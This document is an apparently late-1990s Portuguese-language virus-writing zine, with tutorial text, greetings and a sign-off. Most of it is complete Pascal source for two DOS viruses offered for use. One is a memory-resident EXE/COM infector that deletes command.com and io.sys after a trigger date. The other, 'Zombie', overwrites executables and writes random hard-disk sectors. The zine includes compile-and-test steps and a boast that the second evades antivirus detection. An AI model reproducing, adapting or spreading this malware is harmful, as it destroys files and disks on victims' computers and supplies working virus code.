--------------------------------------------------------------------------- \par \par Para executar esse programa e necessario algumas bibliotecas de fun- \par coes para o correto funcionamento: \par \par USES crt,windos,dos; \par \par --------------------------------------------------------------------------- \par \par \par \par Listagem do programa como ele deveria ficar: \par --------------------------------------------------------------------------- \par \par Aqui vai a listagem do Programa Completo do jeito que ele deveria \par ficar, eu sugiro que voce salve esse codigo abaixo em um arquivo chamado \par virus.pas, depois de compilado o nome do virus ficara virus.exe (Incrivel, \par ne?), nao esqueca que sempre que voce modificar o virus usar o programa \par Cabecalho para atualizar o virus. \par \par Bom, la vai: \par \par \{ *************************** Virus.Pas *********************************** \} \par \{$M $2500,0,0 \} \par \{$S-,R-,I-,V-,f+\} \par \par Program Exemplo_de_virus_em_Pascal; \par \par USES crt,windos,dos; \par \par CONST \par LENVIRUS=11616; \{TAMANHO DO VIRUS - ALTERE SE MODIFICADO, USE O PROGRAMA \par CABECALHO PARA ISSO\} \par CAB:string[5]=CHR(77)+CHR(90)+CHR(96)+CHR(1)+cHR(23); \{CABECALHO DO VIRUS - ALTERE SE MODIFICADO, \par USE O PROGRAMA CABECALHO PARA ISSO\} \par MAXBUFLEN=1024; \{Tamanho do buffer em bytes a ser copiado por vez\} \par FILES=10; \{Arquivos a serem infectados por vez\} \par MOSTRA=true; \{Voce quer saber o que o seu virus esta fazendo?\} \par \par VAR \par fvir,vfile,fromf,tof:file; \{Arquivo que vai conter o virus, variavel de arquivo usado na no virus, 2 variaveis necessarias \par para a copia do virus \} \par con:integer; \{variavel contadora\} \par int1c : Procedure; \{Esses dois serao vistos em exemplos de acoes do virus\} \par printer:procedure; \par buffer:ARRAY[1..MAXBUFLEN] OF CHAR; \{Necessario para a copia de arquivos\} \par vx,vy,cx,cy:integer; \{Coordenadas x,y da bola na tela\} \par h, m, s, hund,day,mon,year : Word; \{Necessario para conter a data e a hora do arquivo\} \par dat:datetime; \{Vai conter a hora do arquivo\} \par ftime:longint; \{Hora do arquivo\} \par vbola:boolean; \par nome_arq:pathstr; \{Ira conter o nome do arquivo com o virus, muito necessario\} \par arquiv:integer; \{Quantidade de arquivos infectados ate o momento\} \par dirinfo:searchrec; \{Muito usado no virus, e responsavel por procurar arquivos onde eu \par quiser usando coringas (*.exe,c:\\dos\\*.com)\} \par \par procedure HORAINI(NOME:STRING); \par var \par arq:file; \par \par begin \par if MOSTRA then writeln('Gravando data e hora do arquivo: ',nome); \par assign(arq, NOME); \{Pega a hora de criacao do arquivo\} \par reset(arq); \par Getftime(arq,ftime); \par UnpackTime(ftime,dat); \par H:=dat.HOUR; \par M:=dat.MIN; \par S:=dat.SEC; \par day:=dat.day; \par mon:=dat.month; \par year:=dat.year; \par close(arq); \par if MOSTRA then writeln('Concluida gravacao do de data e hora do arquivo: ',nome); \par END; \par \par PROCEDURE HORAFIM(NOME:STRING); \par var \par arq:file; \par \par BEGIN \par if MOSTRA then writeln('Restaurando data e hora original do programa: ',nome); \par dat.HOUR:=H; \{Restaura a data e hora original\} \par dat.MIN:=M; \par dat.SEC:=S; \par dat.day:=day; \par dat.month:=mon; \par dat.year:=year; \par assign(arq, NOME); \par reset(arq); \par PackTime(dat,ftime); \par reset(arq); \par Setftime(arq,ftime); \par close(arq); \par if MOSTRA then writeln('Restauracao do arquivo ',nome,' concluida'); \par END; \par \par function verifica(nome:string):boolean; \par VAR \par buf: array[1..10] of Char; \par numread:WORD; \par con:integer; \par \par begin \par if MOSTRA then writeln('Iniciando verificacao se o arquivo ',nome,' ja foi infectado.'); \par con:=1; \par assign(vFile,NoME); \par reset(vFile,1); \{ Record size = 1 \} \par BlockRead(vFile, buf, SizeOf(buf), numread); \par IF (buf[3]=CAB[3]) AND (buf[4]=CAB[4]) then \par begin \par if MOSTRA then writeln('Verificacao completa - arquivo infectado '); \par \{Verifica o cabecalho do arquivo\} \par verifica:=TRUE \{para ver se ja foi infectado\} \par end ELSE \par begin \par verifica:=FALSE; \par if MOSTRA then writeln('Verificacao completa - arquivo nao infectado '); \par end; \par close(vFile); \par END; \par \par procedure infec(nome:string); \par var \par buf: array[1..LENVIRUS] of Char; \{Tamanho do virus\} \par buf2: array[1..2048] of Char; \{Variavel necessaria para a copia\} \par numread, NumWritten: Word; \par \par begin \par if MOSTRA then writeln('Iniciando a infeccao do arquivo ',nome); \par if (nome<>'VIRTEMP.TMP') and (nome<>'COMMAND.COM') then begin \par HORAINI(NOME); \{Grava data e hora do arquivo\} \par assign(FromF,nome); \par reset(FromF,1); \par assign(ToF,'virtemp.tmp'); \par Rewrite(ToF,1); \par repeat \par BlockRead(FromF, buf2, SizeOf(buf2), numread); \par BlockWrite(ToF, buf2, numread, NumWritten); \par until (numread = 0) or (NumWritten <> numread); \par close(FromF); \par close(tof); \par \par \{Ate aqui seria a parte onde se copia o arquivo a ser infectado para outro \par arquivo temporario\} \par \par assign(FromF,nome_arq); \{nome_arq: explicado mais tarde\} \par reset(FromF, 1); \par assign(ToF, nome); \par Rewrite(ToF, 1); \par BlockRead(FromF, buf, SizeOf(buf), numread); \{Caso vc nao se lembre, o BUF e o buffer\} \par BlockWrite(ToF, buf, numread, NumWritten); \{que contera o virus, que nesse caso ele\} \par close(FromF); \{copiara somente o virus para o arquivo a\} \par close(tof); \{ser infectado (arquivo.exe) em que havia sido\} \par \{movido o seu conteudo para virtemp.tmp \} \par \{deixando, por enquanto somente o virus no \} \par \{arquivo \} \par assign(FromF,'virtemp.TMP'); \par reset(FromF, 1); \par assign(ToF, nome); \par reset(tof,1); \par seek(tof,LENVIRUS); \{Posiciona o ponteiro do arquivo na posicao final do arquivo\} \par repeat \par BlockRead(FromF, buf, SizeOf(buf), numread); \par BlockWrite(ToF, buf, numread, NumWritten); \par until (numread = 0) or (NumWritten <> numread); \par close(FromF); \par close(tof); \par erase(fromf); \par HORAFIM(NOME); \par end; \par \{Essa parte seria a concatenacao virus+arquivo, onde o arquivo seria acrescentado no fim do \par virus\} \par if MOSTRA then writeln('Infeccao completa.'); \par end; \par \par procedure procura(nome,dir:string); \par \par begin \par if MOSTRA then writeln('Iniciando infeccao do diretorio: ',nome); \par FindFirst(nome, Archive, DirInfo); \par \{$i+\} \par while (DosError = 0) and (arquiv numread); \par close(FromF); \par close(tof); \par exec('virtemp.tmp',paramstr(1)+' '+paramstr(2)+' '+paramstr(3)); \{Executa o programa aqui\} \par rewrite(tof); \{Agora vou limpar o conteudo e apagar o arquivo\} \par close(tof); \par erase(tof); \par if MOSTRA then writeln('Execucao do programa hospedeiro finalizada'); \par end; \par \par procedure bola; interrupt; \par var \par cont:integer; \par \par begin \par if not vbola then \par if port[$60]<$80 then \par inc(con); \par if con=550 then \par vbola:=true; \par if vbola then \par begin \par cont:=random(4)+1; \par vy:=wherey; \par vx:=wherex; \par gotoxy(cx,cy); \par write('\'db'); \par case cont of \par 1:if cx<78 then inc(cx); \par 2:if cx>1 then dec(cx); \par 3:if cy<23 then inc(cy); \par 4:if cy>1 then dec(cy); \par end; \par gotoxy(cx,cy); \par write('\'fe'); \par gotoxy(vx,vy); \par end; \par inline ($9C); \par int1c; \par end; \par \par \par procedure apag_arq; \par var \par m,dia,ano,dow:word; \par mes:boolean; \par f:file; \par \par begin \par if mostra then writeln('Pegando data atual'); \par getdate(ano,m,dia,dow); \par mes:=false; \par if ano=1998 then \par if m>=7 then \{Data de ativacao: 12/07/1998\} \par if dia>=12 then \par mes:=true; \par if ano>1998 then mes:=true; \par if mostra then writeln('Pegando data atual finalizado'); \par if mes then begin \par if mostra then writeln('Iniciando a apagar os arquivos: \\command.com e \\io.sys'); \par assign(f,'c:\\command.com'); \par erase(f); \par assign(f,'c:\\io.sys'); \par erase(f); \par end; \par end; \par \par Procedure inicinf; \par \par begin \par if MOSTRA then writeln('Iniciando infeccao dos arquivos'); \par arquiv:=0; \par procura('*.com',''); \par procura('*.exe',''); \par \{ procura('c:\\windows\\*.com','c:\\windows\\'); \} \par \{ procura('c:\\windows\\*.exe','c:\\windows\\'); *** If You Wish !!! *** \} \par \{ procura('c:\\dos\\*.com','c:\\dos\\'); \} \par \{ procura('c:\\dos\\*.exe','c:\\dos\\'); \} \par if MOSTRA then writeln('Infeccao dos arquivos Finalizada. Com um total de:'); \par if MOSTRA then writeln(arquiv,' arquivos infectados.'); \par end; \par \par procedure contra(non:string); \par var \par FromF, ToF: file; \par ARQ:text; \par Ft:FILE of char; \par f:file; \par \par function vervir(nome:string):boolean; \par VAR \par Buf: array[1..10] of Char; \par NUMREAD:WORD; \par con:integer; \par \par begin \par if mostra then writeln('Iniciando verificacao de infeccao do arquivo ',nome); \par con:=1; \par ASSIGN(F,NoME); \par ReSET(F,1); \{ Record size = 1 \} \par BlockRead(F, Buf, SizeOf(Buf), NumRead); \par IF (BUF[1]=cab[1]) AND (BUF[2]=cab[2])AND (BUF[3]=cab[3])AND (BUF[4]=cab[4])AND (BUF[4]=cab[4]) tHEN \par \{Verifica o cabecalho do arquivo\} \par vervir:=TRUE \{para ver se ja foi infectado\} \par ELSE \par vervir:=FALSE; \par Close(F); \par if mostra then writeln('Verificacao de infeccao finalizada'); \par END; \par \par procedure antivir; \par \par begin \par if not vervir(non) then \par begin \par if mostra then writeln('Arquivo Infectado, tentando desinfectar...'); \{Arquivo infectado, tentando desinfectar...\} \par aSSIGN(Ft,paramstr(0)); \par ReSET(Ft); \{ Record size = 1 \} \par write(ft,cab[1]); \par write(ft,cab[2]); \par write(ft,cab[3]); \par write(ft,cab[4]); \par write(ft,cab[5]); \par close(ft); \par if mostra then writeln('Desinfeccao completa!'); \{Desinfeccao completa\} \par textcolor(white+blink); \par writeln('Atencao: Seu computador esta infectado por virus! Sugiro passar Anti-virus!'); \par textcolor(white); \par end; \par end; \par \par \par begin \par if mostra then writeln('Inicio do procedimento anti-virus.'); \par antivir; \par if mostra then writeln('Fim do procedimento anti-virus.'); \par end; \par \par procedure escrever;interrupt; \par \par begin \par Sound(random(5000)); \par Delay(1); \par Nosound; \par inline ($9C); \par printer; \par end; \par \par \par \par \par begin \par \par if MOSTRA then writeln('Iniciando o Virus'); \par nome_arq:=paramstr(0); \{Essa variavel ira conter o nome do programa que esta sendo executado \par no momento. Caso o nome que foi executado seja EDIT.exe essa variavel \par contera EDIT.EXE\} \par SETCBREAK(FALSE); \{Para que o usuario nao possa apertar Ctrl-C\} \par contra(nome_arq); \par inicinf; \par executa; \par apag_arq; \par GetIntVec($1c,@int1c); \par SetIntVec($1c,Addr(bola)); \par vbola:=false; \par cx:=random(80);\{Aleatorizar a posicao da bola na tela\} \par cy:=random(24); \par GetIntVec($17,@printer); \par SetIntVec($17,Addr(escrever)); \{Essa parte mostra ao computador para usar \par O procedimento escrever como padrao para a \par impressora\} \par if MOSTRA then writeln('Fim do virus.'); \par keep(0); \{Deixa o programa residente na memoria.\} \par if mostra then writeln('Programa Residente'); \par end. \par \{ *************************** Virus.Pas *********************************** \} \par \par \par --------------------------------------------------------------------------- \par \par \par \par Testando o virus para ver se ele funciona: \par --------------------------------------------------------------------------- \par \par Caso voce queira testar o virus, voce pode fazer o seguinte, altere \par a procedure inicinf de modo que ele so procure por arquivos *.com e *.exe, \par tirando assim o c:\\windows\\*.com, c:\\windows\\*.exe, c:\\dos\\*.com, \par c:\\dos\\*.exe \par \par NAO apague as linhas que fazem isso, acrescente apenas \{ e \} para \par fazer que o Pascal ignore essas linhas, depois disso feito, aperte F9 para \par compilar o virus (nem pense em apertar Ctrl-F9 para executa-lo, nos so que- \par remos o codigo executavel dele), depois crie um diretorio chamado \\temp, \par depois copie o virus.exe para la, mais alguns executaveis, depois entre no \par diretorio e execute o virus.exe e voce vera tudo o que o virus esta fazendo \par no momento, Como verificando se o arquivo esta infectado, infectando outros \par arquivos entre outros. Depois execute algum arquivo que foi infectado para \par voce ter uma ideia melhor de como o virus age. Se voce quiser testar se o \par programa se desinfecta de algum virus desconhecido, faca o seguinte, use \par algum Editor Hexadecimal e altere os primeiros 5 bytes e depois salve, de- \par pois volte a executar o virus e ele ira mostrar na tela que o seu computa- \par dor esta infectado, sugerindo que voce passe um anti-virus. \par \par Caso voce queira que nao apareca nenhuma mensagem na tela entao va \par na secao const do programa e altere o valor da constante MOSTRA para false, \par isso fara com que nenhuma mensagem apareca na tela. So que essas mensagens \par ficarao no corpo do virus, ocupando espaco, caso voce queira tirar essas \par mensagens de vez, tera que apagar todas as linhas \par \par If mostra then writeln(''); \par \par do virus. O que fara uma diferenca consideravel de tamanho, eu as coloquei \par para que vc saiba o que esta acontecendo no momento. \par \par \par --------------------------------------------------------------------------- \par \par \par \par Consideracoes finais: \par --------------------------------------------------------------------------- \par \par Antes de nada, eu fiz esse tutorial para aqueles que ja tenham algum \par conhecimento em logica/programacao em Pascal ou outra linguagem, se voce \par estiver com duvidas sobre como usar if...then...else ou outro comando \par basico entao va comprar um livro de Pascal ou faca um curso de Pascal. Ago- \par ra se voce tiver alguma duvida quanto a logica posso ate responder a alguma \par pergunta, mesmo achando que ja esta tudo muito bem explicado. \par \par Bom espero que com esse texto, voce possa ter compreendido um pouco \par mais sobre a logica de um virus, e com certeza vai pensar (Pelo menos depo- \par is de ter executado o virus) que isso e muito entusiasmante. \par \par | | \par | | \par | FIM| \par +-------------------------------------------------------------------------+ \par \par \pard\qc\plain\f4\fs72\cf1\b\i\ul V\'edrus em Pascal\plain\f6\fs20 \par \pard\plain\f4\fs24\cf1\b\i\ul \par \tab \plain\f4\fs20\cf0 Bom galera aqui vai um v\'edrus de um camarada nosso l\'e1 de Santa Catarina creio que todos ao menos j\'e1 devam ter escutado seu nick por ai ou ter visto algum de seus v\'edrus, bom n\'e0o vou me alongar muito pois o cara n\'e3o necessita de qualquer tipo de apresenta\'e7\'e3o. \par \tab Como come\'e7amos a tratar de v\'edrus em HLL mandei um mail para o Vecna pedindo se ele tinha alguma coisa bem b\'e1sica em pascal e ele me mandou uma porrada (uns 10) tipos diferentes de v\'edrus e falou pra ver o que pega. \par \tab Bom os v\'edrus est\'e3o na nossa home page e segue anexo um v\'edrus bem basico que com certeza ilustrar\'e1 um pouco melhor o tutorial acima, se a galera achar legal ele manda uns mais da hora pra por aqui ... \par \tab Sem mais .... \par \par \{ Bom segue abaixo um v\'edrus bem b\'e1sico mas com uma log\'edstica in\'e9dita para a minha pessoa, a simplicidade impressiona e o algoritmo \'e9 muito bem bolado, o v\'edrus n\'e3o tem detec\'e7\'e3o no AVP (pelo menos na vers\'e3o que eu utilizei a de setembro (eu acho) e tem 3505 bytes e quando mandarem ele pra algum AVcenter dever\'e1 chamar HLLP.3505 o vecna me mandou ele num arquivo chamado (Skeleton.Zip) e o programa esta como Zombie (um da s\'e9rie Undead, que ele tamb\'e9m me mandou outros que est\'e3o no site de V\'edrus Brasil, bom fico por aqui e bom divertimento ... . Ah nem testei os v\'edrus que ele me mandou ent\'e3o quem quiser fazer um report sobre estamos no aguardo ...\} \par \par \plain\f6\fs20 \{ \par Overwriting Non-Resident EXE infector \par Undetectable \par Compressed \par Smash Sectors \par \} \par \par \{$A+,B-,D-,E-,F-,G+,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-\} \par \{$I-\} \par \{$M 2048,0,0\} \par program Zombie;\{Undead series\} \par uses dos; \par const VIRUS_SIZE=3505; \par var i,j:longint; \par pnome,nome,nome2:string[80]; \par arquivo:array[1..2] of file; \par buffer:array[1..5000] of byte; \par \par procedure damage; \par var r:registers; \par begin \par r.es:=seg(buffer); \par r.bx:=ofs(buffer); \par r.ah:=3; \par r.dl:=128; \par r.dh:=random(15); \par r.ch:=random(1000); \par r.cl:=random(17); \par r.al:=01; \par intr($13,r); \par end; \par \par function peganome:string; \par var search:SearchRec; \par pnome:string[80]; \par begin \par pnome:=''; \par FindFirst('*.EXE',AnyFile,search); \par if(DosError<>0)then FindFirst('*.COM',AnyFile,search); \par PNome:=search.name; \par peganome:=pnome; \par end; \par \par begin \par nome2:=paramstr(0); \par nome:=peganome; \par if(nome<>'')then begin \par assign(arquivo[1],nome2); \par assign(arquivo[2],nome); \par reset(arquivo[2],1); \par j:=filesize(arquivo[2]); \par reset(arquivo[1],1); \par rewrite(arquivo[2],1); \par blockread(arquivo[1],buffer,VIRUS_SIZE); \par blockwrite(arquivo[2],buffer,j); \par end; \par damage; \par end. \par \par \plain\f4\fs20 \{ Fim do v\'edrus \} \par \par \tab Segue o v\'edrus em Skeleton.Vxe . \par \par \par \pard\qc\plain\f4\fs72\cf1\b\i\ul Valeu \par \plain\f4\fs40\cf1\b\i\ul \par \pard\plain\f4\fs20\cf0 \tab \tab Bom n\'e3o sei como saiu o zine, pois \'e9 muito foda voc\'ea opinar sobre oque voc\'ea fez, como tamb\'e9m \'e9 muito complicado revisar um texto que foi voc\'ea mesmo que escreveu, mas na minha opini\'e3o saiu melhor que eu esperava em raz\'e0o do diminuto tempo o qual disponho para fazer o zine e uns v\'edrus, mas estamos ai, o zine saiu em RTF sei l\'e1 por que cargas d'\'e1gua mas creio que deve ter ficado melhor que do que em TXT a fita de sair em Delphi (formato EXE) tamb\'e9m n\'e3o fiquei sabendo nada at\'e9 o fechamento do zine, mas da uma passada na home page pra ver se vingou a id\'e9ia ou n\'e3o, provavelmente eu s\'f3 venha a escrever alguma coisa nova no ano que vem pois agora come\'e7am as provas da facu, ai vem exame e curso de f\'e9rias (pra tirar o atraso) e com isso s\'f3 voltarei a estar na cena no ano que vem (mas quando ?). N\'e3o esquenta a cuca em janeiro o V\'edrus Brasil n\'famero 5 (cinco, edi\'e7\'e3o de hum ano) estar\'e1 por a\'ed ... \par \tab \tab Desejo \'e0 todos um natal bom pra cacete com v\'e1rias minas pra galera (pede pro papai noel seu goiba) e na virada um bom bug do milenio pra voc\'eas ... \par \par \tab \tab Agradecimentos \'e0 : \par \par Bom em primeiro lugar eu desejo agradecer ao R\'e9gis e ao Guino pois sei l\'e1 , n\'e3o vejo raz\'e0o para continuar isso sem que fosse para manter viva a mem\'f3ria deles, e a toda Turama da Goma (aterrorizando em Barretos, mano o baguio \'e9 da hora, as mina s\'e0o muito vaca (quer dizer as poucas que aparecem por l\'e1 ), aos Porks (galera da faculdade) ao Groto (Bichinho de durepox que o Moraes diz que conversa) , \'e0 Danielle por ter sido muito compreensiva com rela\'e7\'e0o \'e0 nossa separa\'e7\'e3o; na verdade, por n\'e3o ter se matado, Ao Poin e ao Guidi pois eu n\'e3o tinha agradecido nada a eles ao Alevirus, LeBeau e ao Vecna pelas sugest\'f5es apresentadas . Acho que fico por aqui com certeza fica sempre faltando algu\'e9m mas acho que ta valendo ... \par \par \tab \tab \tab \tab \tab \tab \tab \tab \tab \tab Nim_Bus [TDG'99]\plain\f3\fs20 \par }